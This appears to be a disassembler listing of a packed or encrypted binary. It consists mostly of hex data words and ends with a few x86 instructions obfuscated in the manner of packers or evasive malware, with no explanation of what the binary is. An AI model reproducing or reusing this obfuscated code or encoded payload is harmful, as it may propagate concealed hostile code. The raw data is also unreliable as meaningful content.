		dd 0AEF24D3Fh, 7567h, 0A858AF00h, 0A4940861h, 8911736Ch
		dd 8794F122h, 7F0957F4h, 0C73A3B2Bh, 0ADFE4D3Eh, 1C41FE80h
		dd 0B69EA9DFh, 0ACC3ADCBh, 0EE52863Ah, 76F31150h, 3A631DF2h
		dd 3A425662h, 0B1F0BBC7h, 1554C458h, 0BCE19173h, 3A42D8E0h
		dd 227E3D47h, 0FE0AE2F7h, 13473A42h, 1A255798h,	0E6BAAC9h
		dd 35E77E01h, 473A42E5h, 3162A508h, 75D2BDF2h, 0B4DF0520h
		dd 9359h, 0AB588500h, 0E926256Ah, 16699A6h, 74BD8AF4h
		dd 0CFEE3F08h, 1BAC4091h, 0F449183Dh, 2A7BC8B7h, 0EA3EEE0Bh
		dd 0F411834h, 0BB0C6DACh, 0C0089716h, 0C359BE30h, 411882B7h
		dd 0F80D535Ah, 0F70C9B3h, 81C0E330h, 0E8533966h, 8238E9BBh
		dd 69C44118h, 0DC67150Fh, 63B0A3B5h, 0B3AC9606h, 0A41D4F02h
		dd 0BE467A3Ah, 211844D1h, 0D4CFB84h, 5EE993D8h,	1E5A070Dh
		dd 0AD9AE12Eh, 0F5E73D78h, 0C458B1FEh, 456DD35Ah, 43F4A77h
		dd 345594D7h, 79AA95E7h, 21FDE63Ah, 1C27525Fh, 6670ACCFh
		dd 9CC1266Dh, 5C84222Bh, 0B9DE9288h, 3A26D7E3h,	2D733A47h
		dd 2014A19Bh, 5E2B6849h, 72A3A0EBh, 3AA3F033h, 24A6BA7Eh
		dd 71AFEED7h, 0B390FBB8h, 0ED3E0D7Eh, 56A8FCEh,	105A4397h
		dd 0D907B641h, 8A62478Ch, 41105A7Eh, 999FA293h,	3C51D4D7h
		dd 0F29AA7FDh, 8BF13E49h, 60D163B0h, 0A107FCC4h, 0F3386DDAh
		dd 475BA85h, 7BE6EA3Bh,	7E4329FDh, 0E2D85C85h, 0E021E8DBh
		dd 3D78AD9Ah, 6EDE1AE7h, 0C6BFEC95h, 185B88B3h,	92034663h
		dd 0E059234Eh, 760A39Ch, 9AC6850Ah, 0FB444879h,	0D083259Eh
		dd 911313F9h, 0B845C059h, 0E99203FCh, 0CAD9552Bh, 0AFFE22B9h
		dd 1F4CF782h, 202C4C35h, 4B98A7D3h, 0BFCDF428h,	0BB0C6D84h
		dd 0F8092D17h, 0C5F34E02h, 0D0D39461h, 3A426FB5h, 0E0ABE801h
		dd 6283D745h, 477612FDh, 4894D704h, 3223Dh, 0CB100000h
		dd 3D067773h, 8EB9C3E8h, 0DF68105Dh, 2A19618Eh,	7DCAB4F9h
		dd 0CC7B0328h, 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 8957696Fh
		dd 4C781E7h, 50000000h,	4B8h, 58C72900h, 5C243C87h, 6D1B68h
		dd 242C8900h, 523768h, 241C8900h, 63A2BF57h, 0BA523499h
		dd 3AC3B5CDh, 295AD589h, 8B545FFDh, 0C483241Ch,	0BD555204h
		dd 398C00E0h, 8108E5C1h, 0A80B5EF5h, 0F3ED8141h
		db 63h,	40h
word_580046	dw 0F75Fh		; DATA XREF: ___:off_427A80o
					; ___:00427A88o ...
		dd 8CED81D5h, 89919778h, 0DA015DEAh, 8B5A2A89h,	8951241Ch
		dd 4C181E1h, 83000000h,	0C8704C1h, 34FF5C24h, 0C4815D24h
		dd 4, 0F82AAEE9h, 72B953FFh, 465D2035h,	2A57AEB8h, 0FFC50306h
		dd 79A9D8E0h, 0DCAE6F18h, 5777513Dh, 0D4028E42h, 98715227h
		dd 0E6FE1107h, 0E39E5259h, 0AF658A77h, 8080177Ch, 388D8D3Bh
		dd 6A062A59h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 564BC357h, 17E03532h, 2D9D0B50h
		dd 5A06221Eh, 33F18D89h, 0DE90622h, 37000000h, 231C84C7h
		dd 59446B73h, 32E29120h, 2D3185C7h, 59B00622h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9D8BB8C3h, 62210BDh,	30E585C7h, 622h, 8B660000h, 81B5FFD9h
		dd 89062212h, 22306185h, 6595FF06h, 6A062220h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0FC10C350h, 13E955h,	8BA0000h, 14823C81h, 68258845h
		dd 4258BED9h, 0E5063731h, 0FF006A10h, 22307595h, 0EBC08B06h
		dd 3F46F82Fh, 0B06C45C0h, 0D7363A92h, 0A762ADB7h, 2D8BAEB4h
		dd 0D17D79BCh, 58F73D5Eh, 0C604EB55h, 0C9864532h, 859BB535h
		dd 67AB1D3Eh, 3F7E6F5Fh, 7E8h, 2C900B00h, 0C3F21EE5h, 5880Fh
		dd 81660000h, 5F6798E3h, 0FD852B51h, 5B062227h,	6BDAC781h
		dd 0B70F0000h, 0F5C92BD7h, 33934FFh, 2225F59Dh,	66575E06h
		dd 5BFF5CB8h, 0AA13EE81h, 2CBB2C34h, 81594196h,	0E1BF2DF6h
		dd 0B8D0F01h, 0F000000h, 58Dh, 0E3816600h, 0F6819D6Ch
		dd 4C5AD474h, 348953B6h, 659D8B0Fh, 51062219h, 2CD99D89h
		dd 835A0622h, 0BA6604E9h, 0F981E133h, 0FFFF94CCh, 13850Fh
		dd 858B0000h, 62214ADh,	1AE9h, 0D0826000h, 0D3D39824h
		dd 0E965B7FCh, 0FFFFFF88h, 0B7CC7C72h, 0FAC59408h, 8DA726D5h
		dd 2A5AB58Dh, 0FEB70F06h, 33F18D89h, 62B40622h,	2D3185C7h
		dd 63600622h, 0EE80000h, 3000000h, 0A4C20772h, 5527A0FDh
		dd 121C45B0h, 63D0809Fh, 0E585C75Fh, 62230h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0A61FC352h, 0B0F162DFh, 0B9B5FFE7h, 0F062204h
		dd 95FFC6B7h, 6222065h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0DBC35646h, 8BD07939h, 0C28166C1h, 6A6723h
		dd 307595FFh, 0C08B0622h, 9CE71AEBh, 697A3667h,	22BF7A14h
		dd 9D8E62EAh, 30FDB44Ch, 0F54DBF8Bh, 0ECCDFD0Bh, 2FE9h
		dd 1856C800h, 37h, 0Ah dup(0)
		dd 608E9h, 28137A00h, 9CABD0C1h, 4434C75h, 6AD5A4EDh, 0D3701E03h
		dd 65AE4EB8h, 0DEC32A19h, 4B749FACh, 0A6EB023Dh, 0DB026DD6h
		dd 60DAEEBEh, 9B3F4110h, 3A05778Bh, 9EA9D0DDh, 88F63B42h
		dd 4A4750BBh, 23772540h, 0D6473A3Bh, 3477A4E7h,	80BBC1E8h
		dd 0D56E1E53h, 45364380h, 0EC9FDA06h, 775A0E5Fh, 0AFF54E3Ah
		dd 7E0E2642h, 3BE109E3h, 9914473Ah, 5C400166h, 28C4A3h
		dd 0F5473A16h, 2D9F3DC6h, 8D4F9B11h, 0BA2473Ah,	464B94C8h
		dd 6E730732h, 0E8CB5A43h, 0FC216071h, 2A177EB1h, 7BB0E55Eh
		dd 29E3300Fh, 94E440B8h, 0B8ACD11h, 0DB1A071Eh,	42FD8FB0h
		dd 0A6A1E825h, 0F5262569h, 81536AB6h, 473A347Eh, 0F223206Fh
		dd 2370CBBDh, 39ED0B04h, 1336B2BFh, 51F3CC5Eh, 37147AB7h
		dd 0B499C7E6h, 5Ah, 1C057762h, 3A3B7880h, 83D74547h, 76473A3Bh
		dd 70B3FA47h, 3B4B9123h, 18E9473Ah, 602F6CE0h, 2D73B2E3h
		dd 0F3DB74E9h, 14151h, 77C90000h, 0FD224704h, 3A3B1B2Fh
		dd 61BFFE47h, 0E7641744h, 371079B6h, 73BC71D2h,	0C470665Ah
		dd 5E9B4D98h, 0D2711A1Ah, 3D0676BBh, 77778D2h, 0B5C6EB38h
		dd 900C7196h, 473A3B48h, 8BD20EADh, 8785E36Ch, 0A7B223Eh
		dd 1E423348h, 759CABD3h, 0E207404Ch, 87DBEFBDh,	7F3E473Ah
		dd 0A8D70421h, 2068E595h, 74B7F627h, 0B1C7D435h, 1D334A96h
		dd 0FB381454h, 4362B390h, 1E54391Dh, 0C38151F3h, 89000000h
		dd 8E1E0777h, 473A3B7Ah, 0BC74A2DBh, 0BD8291F4h, 416EBFFEh
		dd 24DC013Eh, 1CA1E825h, 0A34DD821h, 83D013C8h,	0B3353C60h
		dd 53277459h, 0D484A7F4h, 473AE884h, 4A4F442Dh,	7DC29048h
		dd 0B7C7E23Eh, 33186188h, 3AA15179h, 0ABE9C447h, 2643008Eh
		dd 0A2FE585Dh, 0FF3E6FDCh, 0B93B306h, 0EDE83856h, 0BCE023EFh
		dd 0A354469h, 63DCA0EDh, 98ADF332h, 98AFC9B0h, 51F361F5h
		dd 0AC9BEF2Ch, 7CAD70h,	77750000h, 7A8E1E07h, 9F473A3Bh
		dd 5A4822A6h, 2D6CAC0Eh, 474B9EAh, 0BDD8EA3Bh, 53DEF3C4h
		dd 3A53B1D9h, 0AC496447h, 6FB55703h, 0C0CE6682h, 2A0F6883h
		dd 3A642672h, 0AFE0CB47h, 0F03360DFh, 47710ACh,	35461647h
		dd 9D473A3Bh, 0C64CCBBCh, 60714276h, 59B3353Ch,	0C790B874h
		dd 0CF5D473Ah, 473AC6BBh, 0CBE25F5Eh, 0DECC8195h, 0E82551F2h
		dd 63E0ABA2h, 6CB0F320h, 1A1h, 8776900h, 0B7C5EA3Bh, 0CF55F8Ch
		dd 75A760ECh, 7E5387A7h, 97F8015Fh, 847F41A8h, 0BDFC4731h
		dd 0AB2A5F5Ch, 1C923570h, 91CF0E8Fh, 0DFDBAC40h, 9B6C4918h
		dd 0E7AB7339h, 0C47DA30Fh, 1A9293E7h, 4118A3CEh, 16498823h
		dd 55E4A8C5h, 0A4C91A29h, 0ED2C6FD8h, 54EF9D82h, 0A3277507h
		dd 513A4118h, 813FC548h, 3D7C4A70h, 8DB6C3E8h, 0D8101958h
		dd 0CB2D0052h, 6E3E2369h, 4118E85Ah, 52BDFCBFh,	0F7241F6Dh
		dd 0E4D3D2BAh, 0A187EEB5h, 0E297ABDh, 3F4DE701h, 1449ED04h
		dd 0A14BD131h, 151h, 64AB5869h,	7C85F603h, 68B01AFCh, 86D7166Fh
		dd 0F3D83967h, 43CA1E8Eh, 822F473Ah, 710A4DF6h,	88160480h
		dd 94366A76h, 491855AFh, 61896348h, 9441188Ah, 6F4EFB19h
		dd 0B08BF13Eh, 1B246859h, 0FE808DCAh, 0A6D61341h, 5523489Dh
		dd 874B9EAh, 4ECBEE3Fh,	48C1042Ah, 0ADDFDC30h, 0ED224192h
		dd 327FA5A2h, 4496F14Ah, 4BD12B09h, 55ACh, 525F7A00h, 0A4D41D26h
		dd 0F52B4A9Bh, 41A6EDE3h, 736C7FABh, 0A5B5211h,	3A3B2E7Ah
		dd 8FE910C7h, 9CF6C4BDh, 89AE13CAh, 84F014Bh, 3A398AEFh
		dd 0D83F68E4h, 91992371h, 8491738Dh, 31EBD029h,	473ADAE9h
		dd 0D448A10Ch, 473ADA84h, 0F51E4269h, 8C1Eh, 0AB58C400h
		dd 86F60364h, 0BA7267BDh, 49183DE9h, 4966B706h,	0A091F843h
		dd 623263DCh, 411835AFh, 9C98D05Dh, 0E53257F0h,	686BA996h
		dd 13AE5B08h, 2CC07BB8h, 0C1A2EFEh, 0BCFF4118h,	0D0DD3A7Dh
		dd 5EED92ABh, 62AFEE0Dh, 0BCFF2C17h, 0B0BB7160h, 5D4F0226h
		dd 47B7BBE4h, 56C6A760h, 4B768A02h, 4285C4F7h, 0D1A7F411h
		dd 7D0F2A76h, 36BB91C2h, 59A65DB2h, 3941DB00h, 2C4B768Ah
		dd 77B6E760h, 5CBDE3CAh, 6CA067C0h, 6A852845h, 64AB58B0h
		dd 0B883F603h, 3107564h, 0F496CA75h, 4920117Bh,	0F50597FCh
		dd 18411060h, 61D24F95h, 1AFE96F8h, 0A4E92899h,	46340577h
		dd 85C2C8F9h, 0BBD21550h, 102B515Eh, 357CA0C3h,	1DAFFC47h
		dd 5E020787h, 0D9672021h, 89E2A358h, 698F6AB6h,	85BA22E3h
		dd 0B4A2F6A6h, 64577066h, 6D46959Fh, 0B7820A37h, 165586C1h
		dd 5E5BBCD7h, 0A5CC102Bh, 0F23F6CD7h, 426FBC87h, 9FDC013Ah
		dd 0CF0152EDh, 0B666E602h, 70666A62h, 4BE52497h, 2DDC956Eh
		dd 0A68E7A02h, 66ADA2F6h, 25645770h, 3EF672FFh,	0BD9AF54Eh
		dd 96F7AAC4h, 5CD02F0Ch, 70668C0Ch, 468BCAE1h, 0ABD60A39h
		dd 0F40166E1h, 4B6ABB84h, 8693F015h, 3D0A56F5h,	8, 1E295F5Ch
		dd 73CB32C2h, 0E83D0677h, 5D8EB9C3h, 8EDF6810h,	0F92A1961h
		dd 287DCAB4h, 9FCC7B03h, 0CF1C2752h, 3D6EDDA2h,	6FBC8BF0h
		dd 231A6869h, 8F540000h, 4812404h, 424h, 21B66800h, 4890000h
		dd 0E0895024h, 405h, 4E88300h, 5C240487h, 52243489h, 7C466851h
		dd 0F7591822h, 0C18149D1h, 1E4CD755h, 8959CA89h, 0DE685AD0h
		dd 89000008h, 4812424h,	424h, 81505E00h, 49FA2404h, 468F5454h
		dd 6EBB5308h, 81347364h, 272D94F3h, 85E2960h, 2434FF5Bh
		dd 4C4815Eh, 0FF000000h, 81582434h, 4C4h, 21D9E900h, 0D47DFFF8h
		dd 1A0F5E53h, 3C38EDBDh, 6085B86Bh, 0C503062Ah,	0A306E0FFh
		dd 0F843268h, 682D7CC7h, 2F8F6BCDh, 26A045FBh, 0E0F9303Bh
		dd 0E8A2C64h, 0DB4C2125h, 26BB647Eh, 24AE6CA8h,	63E03076h
		dd 0FD64971h, 83781288h, 973634F5h, 1E056FD0h, 527A7581h
		dd 412644F2h, 0F51E4333h, 1ECD240Fh, 8F0F020Fh,	151346C9h
		dd 20B23E23h, 111E57AFh, 0F221405Ch, 0E01C4C05h, 10EB5C98h
		dd 4 dup(0)
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 4F2F25C3h, 0FF569FDh, 9E84Bh, 525D0000h
		dd 83130EDEh, 8B4FCA3Dh, 223125B5h, 0BD835E06h,	62208DDh
		dd 83097500h, 220A21BDh, 19740006h, 0C08B5350h,	42DB8h
		dd 39858900h, 8D06221Bh, 24BFC99Dh, 5BD3FF06h, 21BD8358h
		dd 6220Ah, 53501774h, 42DB8h, 39858900h, 8D06221Bh, 24BCB89Dh
		dd 5BD3FF06h, 0F6816058h, 843C978h, 155D8529h, 89610622h
		dd 22259D8Dh, 8BC08B06h, 220735B5h, 8B87B206h, 2220AD8Dh
		dd 0F983F506h, 0B9840F00h, 0E9000000h, 12h, 0CB23B46Ah
		dd 14A43B69h, 0E9DF7337h, 0F5806051h, 8B640460h, 2C3Dh
		dd 21B58900h, 0B062214h, 8D840FFFh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 1BB4C357h, 45B523B4h, 8B06221Ah, 51006A3Fh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0B503B988h
		dd 62205D9h, 6AC032h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 621A92C3h, 0AAF3279Eh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8BC35747h, 0BABB48B3h
		dd 50414935h, 51006A53h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0C0930F4Dh, 0BE2F6E49h, 10E9h, 29611A00h
		dd 0E5EFF549h, 0A5B75FFFh, 988F15EFh, 985C654h,	47062233h
		dd 48D68166h, 0ACEC6809h, 0BAB6CDADh, 40240481h, 600F28DBh
		dd 34E9B58Bh, 59570622h, 49B5FF61h, 66062226h, 82BEE281h
		dd 7DBE858Dh, 6A0625h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 2AC4DCC3h, 0E5087E4Eh, 0FC304822h
		dd 9D31D0FFh, 6221EB9h,	5A98589h, 8B660622h, 985C6D3h
		dd 53062233h, 4E8F18Bh,	0FC000000h, 6688986Ah, 50E1E1BAh
		dd 2586BE66h, 424448Bh,	12E850h, 0DF640000h, 0F942D090h
		dd 0BEF92C04h, 89D3CE78h, 24DE4860h, 13E9h, 12B80100h
		dd 29E37D03h, 7A45DE4Bh, 688F6566h, 0D91DF463h,	8B5E5Ah
		dd 4C90CBBEh, 2444893Ah, 0EE904h, 0E55D0000h, 0DA9C4C65h
		dd 29BC7D12h, 18C0BC9Eh, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 81B21CE5h, 5107CD86h
		dd 5A2ACA80h, 2649B5FFh, 0EE90622h, 99000000h, 0B3DA1FD4h
		dd 15641369h, 0CE4A5836h, 0BE858D0Dh, 0BE06257Dh, 22AFCAF9h
		dd 8DD0FFFCh, 25444985h, 19BD2906h, 89062200h, 2231BD85h
		dd 206AF806h, 95FFFF6Ah, 62231BDh, 50414935h, 0B185C753h
		dd 1062232h, 0C7000000h, 22272585h, 6, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 66D11EA2h, 0ED6BC681h, 0B199529h, 858B0622h,	6222219h
		dd 641CC280h, 0A3h, 75BD8300h, 62218h, 15840Fh,	0F78B0000h
		dd 290D858Bh, 81660622h, 8B9150C2h, 0D9958BE0h,	83062206h
		dd 222171BDh, 850F0006h, 493h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 21C35545h, 0F5A9E9Fh, 48Dh
		dd 0EBA6600h, 28F0F9Ah,	8B000000h, 985C6F7h, 56062233h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F0C35242h
		dd 689AFA68h, 0CFABFAC6h, 8E8h,	2B4D6D00h, 6D4DA721h, 0D38B66D7h
		dd 2434815Ah, 666ECA19h, 2841958Bh, 958B0622h, 6222D15h
		dd 2649B5FFh, 0B5010622h, 62201F5h, 7DBE858Dh, 6A0625h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0FFC875C3h, 0AD8589D0h, 0E9062233h, 0Ch, 0A3A7EF0h
		dd 0E823E30h, 0FC7A7B8Fh, 14E850h, 5A7B0000h, 4A1F8468h
		dd 0B79EF21Bh, 5858C49Ah, 0C3D3088Ch, 8B56DFDAh, 895E5EF7h
		dd 0EE92404h, 70000000h, 0CDD7DCDEh, 0C45ADF4Eh, 0D4CE7398h
		dd 0D18D8D6Ah, 0F8062206h, 89D78B50h, 8166240Ch, 6A793AD2h
		dd 13E804h, 91500000h, 6B980CF2h, 439FBC6Bh, 0EBB9FA51h
		dd 674AE348h, 0FD8531C4h, 5E06221Ch, 80A53A68h,	12E86052h
		dd 46000000h, 89ECBACAh, 0E0E37E4Bh, 0EDBC0F5h,	0DCC45E06h
		dd 5E616035h, 81615F57h, 0B53A2434h, 5E85280h, 4D000000h
		dd 0F8645880h, 5AF3B70Fh, 118DB5FFh, 0BD890622h, 6223109h
		dd 0BE66D0FFh, 0BD8B9C13h, 622118Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0A8C35343h,	2DE42156h, 99B5096Fh
		dd 306222Ch, 8B663C7Fh,	6E8F3h,	8E9F0000h, 743D1D70h, 0C7815EF8h
		dd 0F8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 16h,	0A7C35242h, 9D896558h, 6222459h, 202447C7h, 50600000h
		dd 5F5958Bh, 835A0622h,	2A6184BDh, 840F0006h, 1BDh, 83D1B70Fh
		dd 6A28C7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 60D7EEC3h, 1D718523h, 0B5330622h,	6220859h
		dd 2E07C761h, 6A64696Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 3C8BC352h, 0A7B6A54Ch
		dd 447C7F5h, 617461h, 0E856006Ah, 3, 5EC35E20h,	4247489h
		dd 4244481h, 1Bh, 97C35646h, 0B6F9F49Fh, 0E87C14DBh, 0Fh
		dd 7C48DE44h, 0DB12A062h, 79658070h, 8976F934h,	22206995h
		dd 858B5A06h, 62A618Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0A8C35343h, 0C1B9D08Dh, 8E0Fh, 47890000h
		dd 51006A0Ch, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 42768758h, 6190858Bh, 0F08A062Ah, 0BA084789h
		dd 4E9D2325h, 5328C783h, 184D958Bh, 0C75E0622h,	6F632E07h
		dd 9E96Eh, 25EB0000h, 0A7078D69h, 0C74C1943h, 69660447h
		dd 6A0067h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 858BF0C3h, 62A6188h, 110D8D89h, 47890622h
		dd 0CE90Ch, 0DB490000h,	0EF00C301h, 0CDE99386h,	858B97A0h
		dd 62A6184h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	4EC35646h, 0F40132CAh, 8E9A38Bh, 81000000h, 6E51CFB5h
		dd 891BBC87h, 6A0847h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0C59C4DC3h, 8161C232h, 0CE80E85Bh
		dd 6A58A9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0B21931C3h, 6A2CFFFCh, 0DA80847Dh, 158D8D46h
		dd 0E9062203h, 0Ah, 0C54D275h, 166DEBAh, 0E8917BA0h, 0Ch
		dd 0B6F09F73h, 0D2C29D5Ch, 6203294Bh, 0B239BE66h, 15BE505Eh
		dd 9161EECAh, 11E9h, 0F5FEA700h, 3E133BFEh, 2742BE83h
		dd 7302A3A7h, 0B5FF5238h, 62206D1h, 0AF681EB2h,	608E1826h
		dd 61C78B66h, 51240481h, 6A71E7E9h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 4406C355h
		dd 17DA98Ah, 8C0F500Dh,	3, 5ED08B66h, 0FFD2B70Fh, 22118DB5h
		dd 68D0F06h, 8B000000h,	220EA9B5h, 60D0FF06h, 859B589h
		dd 0B8610622h, 0
		dd 1CD5B533h, 0C00B0622h, 1D840Fh, 8D890000h, 62227D9h
		dd 271DB5FFh, 95FF0622h, 6222065h, 591094BAh, 8D95092Ch
		dd 8B062218h, 38B0FC0h,	66000000h, 0BD83F18Bh, 62208DDh
		dd 83097500h, 220A21BDh, 19740006h, 0C08B5350h,	42DB8h
		dd 59858900h, 8D06220Eh, 24C0309Dh, 5BD3FF06h, 21BD8358h
		dd 6220Ah, 53501774h, 42DB8h, 59858900h, 8D06220Eh, 24BCD19Dh
		dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0AA31FF77h, 9653CCF8h, 800FA1D1h
		dd 5, 0AA9A83BEh, 50C08B3Fh, 0A0F7EE81h, 8B5A6FB6h, 1EE9C0h
		dd 2D460000h, 99h, 6 dup(0)
		dd 537E9h, 0BC87F600h, 201F6C55h, 88B7D8C9h, 0FE493061h
		dd 67E4AA97h, 0F13A3A0Ch, 6A57BE8Dh, 0C7C82320h, 327F96B1h
		dd 6F96F14Ah, 5146920Ah, 0E7AB4110h, 0A27A5F3Fh, 473A3B96h
		dd 0C5EC307Bh, 2E6B8CB7h, 6AB3E15Ah, 4494086Dh,	0A9473A3Bh
		dd 3B204824h, 0E6D5473Ah, 26256AA7h, 4F6AB6F5h,	0C17A0E3Fh
		dd 0E41FE80h, 69D2BAE7h, 0BA85F724h, 5B2F6C69h,	289B0ECh
		dd 61601045h, 80DC6B14h, 97E53FB9h, 2C5C45ACh, 8CD16E1Dh
		dd 0DAC72E61h, 34095AEh, 8AC784F6h, 0D41D4300h,	64E397A6h
		dd 955CF025h, 9CA7D153h, 65176475h, 0DBEFBDDAh,	3E473A3Bh
		dd 7418217Fh, 1B61AECBh, 6CB0F320h, 3B788B59h, 2FD2473Ah
		dd 0DBCB86C9h, 86EE51F3h, 34000000h, 0DD3A0577h, 9FE9E364h
		dd 2C707CA0h, 3E3D4B19h, 8693473Ah, 3DE3EF3Dh, 469AF80Ah
		dd 828F7DFBh, 0DC1F4CF7h, 5BD99480h, 8FC51F3h, 97000000h
		dd 55EE9Ah, 5FE7BFE5h, 1A5B62E6h, 538168ABh, 0B5E66516h
		dd 0E7341378h, 18ABFCAh, 26D20342h, 0D98B6223h,	4D9EA9DFh
		dd 30FC552Eh, 0BB3D0458h, 8374451h, 3D4498DBh, 9B98F14Eh
		dd 0E40754F3h, 354257B8h, 8C094144h, 8C64D42Fh,	87DD184Dh
		dd 0DE29127Ah, 2C525F44h, 71AFCE1Fh, 0D4F94648h, 4974D6AFh
		dd 0ADFF6564h, 0FD2362E1h, 2B78C7B4h, 4FE5030Ch, 0B8E9003Fh
		dd 0F53A6BD4h, 0A068BD8Ah, 0E588BF39h, 3C51F352h, 0FF33C54Bh
		dd 0CF158BFDh, 7046h, 777CC00h,	0E666DF38h, 0D4EE964Ah
		dd 307D88D4h, 35A3F04Fh, 1678BC3Ch, 98E45527h, 0FC3F6CAFh
		dd 216D52BDh, 0B0E5622Ch, 0D8D53275h, 3E4F95B2h, 94B3DCD9h
		dd 0EF582148h, 41FE8D8Ah, 9B46CA13h, 7B472A5Dh,	515E51F3h
		dd 0A0C3102Bh, 5BD17Ch,	0B7C40000h, 145784C3h, 77734C8h
		dd 0B2C6EB38h, 270A4489h, 2C1B63C1h, 81BACECBh,	80C3115Ch
		dd 0FD04770Ah, 0D77B81B5h, 0BE8DFD76h, 0CC0F4E6Dh, 0BABACD9Fh
		dd 0ED14473Ah, 0C05C818Bh, 473ABAB8h, 0A025E5Dh, 51F35A57h
		dd 1062h, 7C301500h, 473AB62Ch,	0D4A5EAC1h, 0A5FB3A6Bh
		dd 0E8E65F09h, 5EAB90CDh, 5D224F95h, 0C8A489EEh, 473ADDA0h
		dd 6EC1E811h, 43DFB07h,	0ACE12213h, 7DBC8E0Ah, 0A3E90627h
		dd 10C14B98h, 32335CD8h, 78AD9AE5h, 2D5F6B3Dh, 0FBB2473Ah
		dd 944F51B8h, 0A2ED2A4Fh, 821A7FA5h, 49185E31h,	9EADD1DEh
		dd 0BEEF2E4Dh, 0D9300B71h, 7E9BA4E8h, 12778319h, 139A4118h
		dd 0DEECB8CDh, 0DE411812h, 6D1F1553h, 4293ACDCh, 0A287E023h
		dd 1812BECAh, 0AE7E5341h, 4118129Ah, 0A7FD3C7Fh, 3E0973BCh
		dd 0A5BCC0EDh, 1812A3F7h, 24675641h, 0FA0E9EC3h, 1F411812h
		dd 225409Ch, 4B31F375h,	84599F0h, 614BD1B3h, 0A17555A0h
		dd 0D4A790E5h, 8DFB3477h, 1E4261B2h, 0F437h, 0AB581F00h
		dd 85F60364h, 12779AC6h, 0A3ED75B1h, 558B12BFh,	18B08CB3h
		dd 0E93A7149h, 648FB8C4h, 0A5F6513Bh, 0EA3B0488h, 0E2642CFh
		dd 88AAC57Eh, 4BD110D5h, 31E0h,	0A8582E00h, 0A4940861h
		dd 8911736Ch, 1723F122h, 29C73A3Bh, 8D43C820h, 0DF4B2146h
		dd 0B291736Ch, 967D90FBh, 1C000000h, 9ED3701Fh,	0E50055EEh
		dd 0E65FE7BFh, 6EBB013h, 0FC1E42F1h, 0EA760207h, 0EE7A543Eh
		dd 28654AAFh, 0EEB8E463h, 49183F5Dh, 85AAFBB2h,	0FC254CF7h
		dd 0D666B790h, 41182A7Bh, 0E84CAC81h, 60709BA4h, 54859673h
		dd 944BC6D5h, 0EE9790B1h, 512ADBF8h, 0E599A0BBh, 6186B935h
		dd 3D5F298Bh, 51CB304Fh, 4B771309h, 0A693C1ECh,	7481C617h
		dd 0FB48320Bh, 2F5D64B8h, 844DC714h, 0AFF4EF64h, 0E3D4D4Ah
		dd 755ABFD2h, 771393A7h, 0E937864Bh, 52C85D5Fh,	1E694445h
		dd 64AB5884h, 0E1176903h, 0C5D2491Fh, 1B5A8BB4h, 8614CC5h
		dd 0F36CB9BFh, 32EA229Ch, 411096E6h, 3361A00Bh,	8CB7C5EAh
		dd 0E2612E6Bh, 252E72B1h, 66B790FCh, 8C543BD6h,	6E8A674Eh
		dd 1C7DC6B6h, 19A5E7ABh, 8610E8Dh, 0E72C4494h, 0DE02A94Bh
		dd 47008CB5h, 0B1B0D916h, 0E72CAFFBh, 286B424Bh, 48A051FBh
		dd 4CA7A0ECh, 0DD0E3943h, 342h,	73CBB000h, 0E83D0677h
		dd 5D8EB9C3h, 8EDF6810h, 0F92A1961h, 287DCAB4h,	9FCC7B03h
		dd 0CF1C2752h, 3D6EDDA2h, 6FBC8BF0h, 0E2895269h, 4B850h
		dd 0C2010000h, 4EA8358h, 5C241487h, 81E68956h, 4C6h, 4EE8100h
		dd 87000000h, 895C2434h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		mov	esi, 1C9E5FFCh
		shr	esi, 2
		inc	esi
		sub	esi, 0BF3C59A1h
		mov	edi, esi
		pop	esi
		sub	edi, 41C0D3DEh
		push	esp
